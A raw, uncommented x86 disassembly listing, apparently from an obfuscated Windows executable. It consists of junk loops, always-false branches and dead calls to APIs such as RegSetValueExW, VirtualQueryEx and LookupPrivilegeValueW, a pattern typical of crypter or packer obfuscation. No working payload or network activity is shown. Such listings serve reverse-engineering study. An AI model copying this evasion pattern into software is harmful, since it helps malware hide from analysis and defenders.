mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
jge 0x4a2c2d
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x278c], 0xfffffff9
jmp 0x4a2c04
mov dword [ebp - 0x10c], 0
jmp 0x4a2c46
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 2
jge 0x4a2c62
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x2544], 0x4a6f4440
jmp 0x4a2c39
mov dword [ebp - 0x7b8], 2
jmp 0x4a2c7b
mov eax, dword [ebp - 0x7b8]
dec eax
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x7b8], 0
jl 0x4a2cdc
mov dword [ebp - 0x2674], 0xfffffffe
mov dword [ebp - 0x267c], 0x276b87d0
mov dword [ebp - 0x638], 0
jmp 0x4a2cb1
mov eax, dword [ebp - 0x638]
inc eax
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 2
jge 0x4a2ccd
mov eax, dword [ebp - 0x638]
mov dword [ebp + eax*4 - 0x2be8], 0xffffffff
jmp 0x4a2ca4
mov eax, dword [ebp - 0x968]
inc eax
mov dword [ebp - 0x968], eax
jmp 0x4a2c6e
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x2684], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x278c]
mov dword [ebp - 0x268c], eax
push 4
pop eax
imul eax, eax, 0
push 0xfffffffffffffffe
pop ecx
sub ecx, dword [ebp + eax - 0x1e5c]
je 0x4a2d22
cmp dword [ebp - 0x1fec], 0
je 0x4a2d22
mov dword [ebp - 0x1ff4], 1
jmp 0x4a2d29
and dword [ebp - 0x1ff4], 0
mov eax, dword [ebp - 0x4ac]
mov dword [ebp - 0x2694], eax
mov eax, dword [ebp - 0x968]
mov dword [ebp - 0x269c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x278c]
mov dword [ebp - 0x26a4], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x1e5c]
cmp dword [ebp + eax - 0x1e5c], ecx
jl 0x4a2d7b
mov dword [ebp - 0xd78], 1
jmp 0x4a2d82
and dword [ebp - 0xd78], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xd78]
mov dword [ebp + eax - 0x2544], ecx
jmp 0x4a2bc0
mov dword [ebp - 0x51c], 1
jmp 0x4a2db3
mov eax, dword [ebp - 0x51c]
dec eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 0
jl 0x4a2dd8
mov byte [ebp - 0x361], 0
movzx eax, byte [ebp - 0x361]
test eax, eax
je 0x4a2dd6
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
jmp 0x4a2da6
mov dword [ebp - 0x3bc], 0xfffffffe
cmp dword [ebp - 0x3bc], 0
je 0x4a3389
mov dword [ebp - 0x26ac], 3
mov dword [ebp - 0x19ec], 0xb7d8cf4c
mov dword [ebp - 0x7c0], 0
jmp 0x4a2e1c
mov eax, dword [ebp - 0x7c0]
inc eax
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 2
jge 0x4a2e38
mov eax, dword [ebp - 0x7c0]
mov dword [ebp + eax*4 - 0x2c60], 1
jmp 0x4a2e0f
mov eax, dword [ebp - 0x19ec]
dec eax
mov dword [ebp - 0x19ec], eax
mov byte [ebp - 0x271], 0
movzx eax, byte [ebp - 0x271]
test eax, eax
je 0x4a2e66
push 0x2402
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0x3bc], 0
jmp 0x4a2e7f
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 3
jg 0x4a3384
mov dword [ebp - 0x144], 0
jmp 0x4a2ea5
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 2
jge 0x4a2ec1
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x1b80], 0x24a8c6a5
jmp 0x4a2e98
mov dword [ebp - 0x144], 0
jmp 0x4a2eda
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 3
jge 0x4a2ef6
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x2ba0], 0xdfe4b283
jmp 0x4a2ecd
mov byte [ebp - 0x2b9], 0
movzx eax, byte [ebp - 0x2b9]
test eax, eax
je 0x4a2f15
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1b80], 0
jmp 0x4a2f43
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b80]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1b80], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1b80], 0xffffffef
jle 0x4a2fe0
mov dword [ebp - 0x4b4], 1
mov dword [ebp - 0x640], 0
jmp 0x4a2f7a
mov eax, dword [ebp - 0x640]
inc eax
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x640], 1
jge 0x4a2f96
mov eax, dword [ebp - 0x640]
mov dword [ebp + eax*4 - 0x1ffc], 0x137b
jmp 0x4a2f6d
mov dword [ebp - 0x4b4], 0
jmp 0x4a2faf
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 1
jge 0x4a2fcb
mov eax, dword [ebp - 0x4b4]
mov dword [ebp + eax*4 - 0x1ffc], 0x836c
jmp 0x4a2fa2
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2ba0], 8
jmp 0x4a2f28
mov dword [ebp - 0x19f4], 1
mov dword [ebp - 0x26b4], 0xa7525d2d
mov dword [ebp - 0x26bc], 0xffffffff
mov dword [ebp - 0x40], 0
jmp 0x4a300e
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x4a3024
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x2044], 0xc93b4e1
jmp 0x4a3007
mov dword [ebp - 0x40], 0
jmp 0x4a3034
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x4a304a
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x2004], 1
jmp 0x4a302d
mov dword [ebp - 0x40], 0
jmp 0x4a305a
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x4a3070
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x2dc8], 0xc9cd49fc
jmp 0x4a3053
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2044], 0
jmp 0x4a309b
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2044]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2044], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2044], 0x14
jl 0x4a31b8
mov dword [ebp - 0x648], 0xf759609c
mov dword [ebp - 0x7c8], 0
jmp 0x4a30d1
mov eax, dword [ebp - 0x7c8]
inc eax
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 3
jge 0x4a30ed
mov eax, dword [ebp - 0x7c8]
mov dword [ebp + eax*4 - 0x2d20], 0xfffffff7
jmp 0x4a30c4
mov dword [ebp - 0x648], 0
jmp 0x4a3106
mov eax, dword [ebp - 0x648]
dec eax
mov dword [ebp - 0x648], eax
cmp dword [ebp - 0x648], 0
jl 0x4a31b3
mov dword [ebp - 0x7d0], 0xffffffff
mov dword [ebp - 0x26c4], 3
mov dword [ebp - 0x26cc], 0
mov dword [ebp - 0x26d4], 0xfffffffe
mov dword [ebp - 0x26dc], 0x6bde64f6
mov dword [ebp - 0x26e4], 8
mov dword [ebp - 0x26ec], 0xffffffff
mov dword [ebp - 0xd80], 0xfffffffe
mov dword [ebp - 0x7d0], 0
jmp 0x4a317c
mov eax, dword [ebp - 0x7d0]
dec eax
mov dword [ebp - 0x7d0], eax
cmp dword [ebp - 0x7d0], 0
jl 0x4a31a1
mov byte [ebp - 0x273], 0
movzx eax, byte [ebp - 0x273]
test eax, eax
je 0x4a319f
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
jmp 0x4a316f
mov eax, dword [ebp - 0xd80]
inc eax
mov dword [ebp - 0xd80], eax
jmp 0x4a30f9
jmp 0x4a3082
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2044]
mov dword [ebp - 0x26f4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2004]
mov dword [ebp - 0x26fc], eax
cmp dword [ebp - 0x19f4], 0
jle 0x4a31f2
mov dword [ebp - 0xd88], 1
jmp 0x4a31f9
and dword [ebp - 0xd88], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2044]
mov ecx, dword [ebp - 0x19f4]
add ecx, dword [ebp - 0xd88]
add eax, ecx
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2044], eax
mov byte [ebp - 0x2f9], 0
mov dword [ebp - 0x2704], 0xffffffff
mov dword [ebp - 0x270c], 0xbd7b1c2a
mov dword [ebp - 0x2714], 0x6b950ba1
mov dword [ebp - 0x271c], 7
mov dword [ebp - 0x2724], 1
mov dword [ebp - 0x19fc], 0
mov dword [ebp - 0x650], 0
jmp 0x4a327c
mov eax, dword [ebp - 0x650]
inc eax
mov dword [ebp - 0x650], eax
cmp dword [ebp - 0x650], 2
jge 0x4a3298
mov eax, dword [ebp - 0x650]
mov dword [ebp + eax*4 - 0x2c68], 0xffffffff
jmp 0x4a326f
mov eax, dword [ebp - 0x19fc]
inc eax
mov dword [ebp - 0x19fc], eax
movzx eax, byte [ebp - 0x2f9]
test eax, eax
je 0x4a337f
mov dword [ebp - 0x554], 0xfffffff6
mov dword [ebp - 0x554], 0
jmp 0x4a32d7
mov eax, dword [ebp - 0x554]
dec eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0xffffffee
jle 0x4a334f
mov dword [ebp - 0x200c], 0xfff9
cmp dword [ebp - 0x554], 0
je 0x4a3316
mov dword [ebp - 0xd90], 0
mov eax, dword [ebp - 0xd90]
mov dword [ebp - 0x200c], eax
cmp dword [ebp - 0xd90], 0
je 0x4a3314
jmp 0x4a32ca
jmp 0x4a3330
mov byte [ebp - 0x275], 0
movzx eax, byte [ebp - 0x275]
test eax, eax
je 0x4a3330
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
mov byte [ebp - 0x2bb], 0
movzx eax, byte [ebp - 0x2bb]
test eax, eax
je 0x4a334a
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
jmp 0x4a32ca
mov byte [ebp - 0x277], 0
movzx eax, byte [ebp - 0x277]
test eax, eax
je 0x4a336e
push 0
push 0x1670
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
push 0x2248
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x4a2e72
jmp 0x4a4030
mov dword [ebp - 0x7d8], 0x1ad386cc
mov dword [ebp - 0x1a04], 0
mov dword [ebp - 0x2014], 0xb87d0fa5
mov dword [ebp - 0x4bc], 0xeab3cf81
mov eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x272c], eax
mov dword [ebp - 0x1a04], 0xffff
mov eax, dword [ebp - 0x1a04]
mov dword [ebp - 0x2014], eax
xor eax, eax
inc eax
cmp eax, 0x6941fc9a
je 0x4a33e9
mov dword [ebp - 0x1a0c], 1
jmp 0x4a33f0
and dword [ebp - 0x1a0c], 0
mov eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x2734], eax
mov eax, dword [ebp - 0x7d8]
cmp dword [ebp - 0x7d8], eax
jge 0x4a3416
mov dword [ebp - 0xd98], 1
jmp 0x4a341d
and dword [ebp - 0xd98], 0
mov eax, dword [ebp - 0xd98]
sub eax, 0x177
cmp eax, 1
jne 0x4a3439
mov dword [ebp - 0xda0], 1
jmp 0x4a3440
and dword [ebp - 0xda0], 0
mov eax, dword [ebp - 0x1a0c]
cmp eax, dword [ebp - 0xda0]
jl 0x4a345a
mov dword [ebp - 0x1a14], 1
jmp 0x4a3461
and dword [ebp - 0x1a14], 0
cmp dword [ebp - 0x1a14], 0x780e
jge 0x4a3479
mov dword [ebp - 0xda8], 1
jmp 0x4a3480
and dword [ebp - 0xda8], 0
imul eax, dword [ebp - 0xda8], 0x9e88
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4bc], 7
jmp 0x4a34a9
mov eax, dword [ebp - 0x4bc]
dec eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0xffffffe8
jne 0x4a34e1
mov byte [ebp - 0x341], 0
movzx eax, byte [ebp - 0x341]
test eax, eax
je 0x4a34df
push 0x112f
push 0
push 0x26a6
push 0x4cf
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x4a349c
mov dword [ebp - 0x524], 0xffffffff
mov dword [ebp - 0x1a2c], 0x62d
mov dword [ebp - 0xdc8], 0
mov dword [ebp - 0x1de8], 0
mov dword [ebp - 0x658], 0
jmp 0x4a3522
mov eax, dword [ebp - 0x658]
inc eax
mov dword [ebp - 0x658], eax
cmp dword [ebp - 0x658], 2
jge 0x4a353e
mov eax, dword [ebp - 0x658]
mov dword [ebp + eax*4 - 0x20fc], 0xffffffff
jmp 0x4a3515
mov dword [ebp - 0x524], 1
jmp 0x4a3557
mov eax, dword [ebp - 0x524]
dec eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 0
jl 0x4a3748
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x7e0], 0
jmp 0x4a3587
mov eax, dword [ebp - 0x7e0]
inc eax
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 4
jge 0x4a35a3
mov eax, dword [ebp - 0x7e0]
mov dword [ebp + eax*4 - 0x2c08], 0xffffffff
jmp 0x4a357a
xor eax, eax
inc eax
je 0x4a36c9
mov eax, dword [ebp - 0x1a2c]
mov dword [ebp - 0x273c], eax
cmp dword [ebp - 0x308], 0
jne 0x4a35cd
mov dword [ebp - 0x1a1c], 1
jmp 0x4a35d4
and dword [ebp - 0x1a1c], 0
mov eax, dword [ebp - 0x308]
cmp dword [ebp - 0x1a1c], eax
jne 0x4a35ee
mov dword [ebp - 0xdb0], 1
jmp 0x4a35f5
and dword [ebp - 0xdb0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x20fc]
add eax, dword [ebp - 0xdb0]
sub eax, dword [ebp - 0x524]
cmp eax, dword [ebp - 0x308]
jne 0x4a3622
mov dword [ebp - 0x201c], 1
jmp 0x4a3629
and dword [ebp - 0x201c], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x20fc], 0xfffffffd
jne 0x4a3645
mov dword [ebp - 0x1a24], 1
jmp 0x4a364c
and dword [ebp - 0x1a24], 0
mov eax, dword [ebp - 0x1a24]
add eax, 0x51d77f17
cmp eax, dword [ebp - 0x308]
jge 0x4a366b
mov dword [ebp - 0xdb8], 1
jmp 0x4a3672
and dword [ebp - 0xdb8], 0
cmp dword [ebp - 0xdb8], 0x1031
jne 0x4a3693
cmp dword [ebp - 0x1a2c], 0
je 0x4a3693
mov dword [ebp - 0xdc0], 1
jmp 0x4a369a
and dword [ebp - 0xdc0], 0
cmp dword [ebp - 0xdc0], 0xa4bc4433
ja 0x4a36b2
mov dword [ebp - 0x1a34], 1
jmp 0x4a36b9
and dword [ebp - 0x1a34], 0
cmp dword [ebp - 0x1a34], 0xfffffff7
jle 0x4a36c9
cmp dword [ebp - 0x308], 0
mov dword [ebp - 0xdc8], 0
mov eax, dword [ebp - 0xdc8]
sub eax, 0xf0bd
sub eax, dword [ebp - 0x308]
cmp eax, 0xffffffff
je 0x4a36f5
mov dword [ebp - 0x1a3c], 1
jmp 0x4a36fc
and dword [ebp - 0x1a3c], 0
cmp dword [ebp - 0x1a3c], 0x51cd
jge 0x4a371a
mov eax, 0x7557bc77
test eax, eax
jne 0x4a371a
and dword [ebp - 0xdd0], 0
jmp 0x4a3724
mov dword [ebp - 0xdd0], 1
mov eax, dword [ebp - 0xdd0]
mov dword [ebp - 0x1de8], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x308]
mov dword [ebp + eax - 0x2c08], ecx
jmp 0x4a354a
mov dword [ebp - 0x1bfc], 0xdfddae9
mov dword [ebp - 0x4c4], 0xfffffffe
mov dword [ebp - 0x424], 1
mov dword [ebp - 0x2890], 1
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x4c4], 0xc
jmp 0x4a3795
mov eax, dword [ebp - 0x4c4]
inc eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 0x30
je 0x4a385c
mov dword [ebp - 0x1dc], 0
jmp 0x4a37bb
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 3
jge 0x4a37d7
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0x279c], 1
jmp 0x4a37ae
mov dword [ebp - 0x1dc], 0
jmp 0x4a37f0
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 1
jge 0x4a380c
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0x1bd0], 0x45625132
jmp 0x4a37e3
mov dword [ebp - 0x424], 0
jmp 0x4a3825
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 2
jg 0x4a3857
mov eax, dword [ebp - 0x424]
mov eax, dword [ebp + eax*4 - 0x279c]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x279c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1bd0], eax
jmp 0x4a3818
jmp 0x4a3788
mov dword [ebp - 0xde0], 0xf75d
mov dword [ebp - 0x1c08], 0x23498e64
mov dword [ebp - 0x1a44], 1
mov dword [ebp - 0x2898], 0xc7a8cf1d
mov dword [ebp - 0x660], 0
jmp 0x4a389d
mov eax, dword [ebp - 0x660]
inc eax
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 4
jge 0x4a38b9
mov eax, dword [ebp - 0x660]
mov dword [ebp + eax*4 - 0x2c28], 0x7d711e7b
jmp 0x4a3890
cmp dword [ebp - 0xde0], 0
je 0x4a3a21
mov dword [ebp - 0x668], 0xffffffff
mov dword [ebp - 0xa00], 0xfff6
mov dword [ebp - 0x7e8], 0
jmp 0x4a38f3
mov eax, dword [ebp - 0x7e8]
inc eax
mov dword [ebp - 0x7e8], eax
cmp dword [ebp - 0x7e8], 3
jge 0x4a390f
mov eax, dword [ebp - 0x7e8]
mov dword [ebp + eax*4 - 0x21d4], 0xd1ad67a4
jmp 0x4a38e6
mov eax, dword [ebp - 0x1a44]
mov dword [ebp - 0x28a0], eax
cmp dword [ebp - 0x1a44], 0
je 0x4a392b
cmp dword [ebp - 0x1c08], 0
mov eax, dword [ebp - 0x668]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x21d4]
cmp eax, dword [ebp - 0x668]
jg 0x4a3953
mov dword [ebp - 0xdd8], 1
jmp 0x4a395a
and dword [ebp - 0xdd8], 0
mov eax, dword [ebp - 0xa00]
inc eax
mov dword [ebp - 0xa00], eax
mov eax, dword [ebp - 0x668]
add eax, dword [ebp - 0xdd8]
cmp dword [ebp - 0xa00], eax
jg 0x4a3994
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c28], 0
jne 0x4a3994
and dword [ebp - 0x1a4c], 0
jmp 0x4a399e
mov dword [ebp - 0x1a4c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x21d4]
add eax, dword [ebp - 0x1a4c]
cmp dword [ebp - 0xde0], eax
je 0x4a39c5
mov dword [ebp - 0x1a54], 1
jmp 0x4a39cc
and dword [ebp - 0x1a54], 0
mov eax, dword [ebp - 0x668]
cmp eax, dword [ebp - 0x1a54]
jg 0x4a39e6
mov dword [ebp - 0xde8], 1
jmp 0x4a39ed
and dword [ebp - 0xde8], 0
cmp dword [ebp - 0xde8], 0x5dc6
jne 0x4a3a05
mov dword [ebp - 0x1a5c], 1
jmp 0x4a3a0c
and dword [ebp - 0x1a5c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1a5c]
mov dword [ebp + eax - 0x21d4], ecx
jmp 0x4a3a39
mov byte [ebp - 0x279], 0
movzx eax, byte [ebp - 0x279]
test eax, eax
je 0x4a3a39
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x7f0], 0
jmp 0x4a3a52
mov eax, dword [ebp - 0x7f0]
inc eax
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x7f0], 2
jge 0x4a3a6e
mov eax, dword [ebp - 0x7f0]
mov dword [ebp + eax*4 - 0x2550], 5
jmp 0x4a3a45
mov dword [ebp - 0x978], 8
mov dword [ebp - 0x1a64], 5
mov dword [ebp - 0xa7c], 0x4543beb7
mov dword [ebp - 0x970], 0xec79cf18
mov dword [ebp - 0x670], 0xfffffffe
mov dword [ebp - 0xa08], 0x1d89e177
mov dword [ebp - 0x1be4], 0xf314d41b
mov dword [ebp - 0x38], 0
jmp 0x4a3ac4
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x4a3ada
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x2154], 0x734f094
jmp 0x4a3abd
mov dword [ebp - 0x38], 0
jmp 0x4a3aea
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x4a3b00
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x2bb8], 0x1d91
jmp 0x4a3ae3
mov dword [ebp - 0x38], 0
jmp 0x4a3b10
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x4a3b26
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x2b4c], 0x48968f25
jmp 0x4a3b09
mov eax, dword [ebp - 0x670]
dec eax
mov dword [ebp - 0x670], eax
jne 0x4a3b64
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2154]
mov dword [ebp - 0xdf0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xdf0]
mov dword [ebp + eax - 0x2154], ecx
cmp dword [ebp - 0xdf0], 0
je 0x4a3b85
mov eax, dword [ebp - 0x670]
mov dword [ebp - 0x1a64], eax
cmp dword [ebp - 0x1a64], 0
je 0x4a3b85
mov dword [ebp - 0x1a74], 1
jmp 0x4a3b8c
and dword [ebp - 0x1a74], 0
xor eax, eax
jne 0x4a3ba2
cmp dword [ebp - 0x970], 0
jne 0x4a3ba2
and dword [ebp - 0xdf8], 0
jmp 0x4a3bac
mov dword [ebp - 0xdf8], 1
mov eax, dword [ebp - 0xdf8]
mov dword [ebp - 0x970], eax
cmp dword [ebp - 0x970], 0
je 0x4a3bd6
cmp dword [ebp - 0xa7c], 0
je 0x4a3bd6
mov dword [ebp - 0x1bdc], 1
jmp 0x4a3bdd
and dword [ebp - 0x1bdc], 0
mov eax, dword [ebp - 0xa7c]
mov dword [ebp - 0x28a8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2bb8]
cmp dword [ebp - 0x978], eax
jge 0x4a3c0a
mov dword [ebp - 0x1e2c], 1
jmp 0x4a3c11
and dword [ebp - 0x1e2c], 0
mov eax, dword [ebp - 0xa08]
mov dword [ebp - 0x28b0], eax
mov eax, dword [ebp - 0xa7c]
imul eax, dword [ebp - 0x1be4]
cmp eax, 0xfffffff7
jl 0x4a3c3b
jmp 0x4a41f0
mov dword [ebp - 0x28e8], 0xffff
mov byte [ebp - 0x2bf], 0
movzx eax, byte [ebp - 0x2bf]
test eax, eax
je 0x4a405e
push 0x35e
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
mov byte [ebp - 0x27f], 0
movzx eax, byte [ebp - 0x27f]
test eax, eax
je 0x4a4078
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x800], 5
mov dword [ebp - 0xe3c], 0xd37ad43
mov dword [ebp - 0x800], 9
jmp 0x4a40a5
mov eax, dword [ebp - 0x800]
inc eax
mov dword [ebp - 0x800], eax
cmp dword [ebp - 0x800], 0x17
je 0x4a40fa
mov dword [ebp - 0x1e3c], 0xbecc
mov dword [ebp - 0x1c04], 0
mov eax, dword [ebp - 0x1e3c]
mov dword [ebp - 0xe3c], eax
mov eax, dword [ebp - 0xe3c]
mov dword [ebp - 0x1c04], eax
mov byte [ebp - 0x381], 0
movzx eax, byte [ebp - 0x381]
test eax, eax
je 0x4a40f8
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
jmp 0x4a4098
mov byte [ebp - 0x2c1], 0
mov dword [ebp - 0x680], 5
mov dword [ebp - 0x1800], 0xd37ad43
mov dword [ebp - 0x680], 9
jmp 0x4a412e
mov eax, dword [ebp - 0x680]
inc eax
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 0x17
je 0x4a4183
mov dword [ebp - 0x2034], 0xbecc
mov dword [ebp - 0x1c0c], 0
mov eax, dword [ebp - 0x2034]
mov dword [ebp - 0x1800], eax
mov eax, dword [ebp - 0x1800]
mov dword [ebp - 0x1c0c], eax
mov byte [ebp - 0x281], 0
movzx eax, byte [ebp - 0x281]
test eax, eax
je 0x4a4181
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
jmp 0x4a4121
movzx eax, byte [ebp - 0x2c1]
test eax, eax
je 0x4a41f0
mov dword [ebp - 0x28f0], 0x5d6c05ba
mov byte [ebp - 0x283], 0
movzx eax, byte [ebp - 0x283]
test eax, eax
je 0x4a41b8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov byte [ebp - 0x309], 0
movzx eax, byte [ebp - 0x309]
test eax, eax
je 0x4a41de
push 0x244a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0x1ae5
push 0x2488
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x57c], 0x3bd6525
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x2c], 0
jmp 0x4a4214
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x4a422a
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xb10], 0xfffffff8
jmp 0x4a420d
mov dword [ebp - 0x2c], 0
jmp 0x4a423a
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x4a4250
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x2240], 0
jmp 0x4a4233
mov dword [ebp - 0x2c], 0
jmp 0x4a4260
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x4a4276
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xaa4], 0xfad5
jmp 0x4a4259
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2240]
mov dword [ebp - 0x28f8], eax
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xb10], 0x4320e32c
push 0xfffffffffffffffe
pop eax
sub eax, 0x4320e32c
push 4
pop ecx
shl ecx, 1
sub eax, dword [ebp + ecx - 0x2240]
mov dword [ebp - 0xe44], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xe44]
mov dword [ebp + eax - 0x2240], ecx
mov eax, dword [ebp - 0xe44]
mov dword [ebp - 0x57c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb10]
mov dword [ebp - 0x1a0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaa4]
neg eax
add eax, 5
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xaa4]
jle 0x4a4315
mov dword [ebp - 0x14d0], 1
jmp 0x4a431c
and dword [ebp - 0x14d0], 0
imul eax, dword [ebp - 0x14d0], 0x17f4
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xaa4]
je 0x4a448f
mov eax, 0xffff
test eax, eax
je 0x4a448f
mov dword [ebp - 0x980], 0x4fa72d50
mov dword [ebp - 0x1c14], 0xa7967268
mov dword [ebp - 0x1ed4], 0x79d62bf
mov dword [ebp - 0x1c1c], 0xffffffff
push 4
pop eax
shl eax, 0
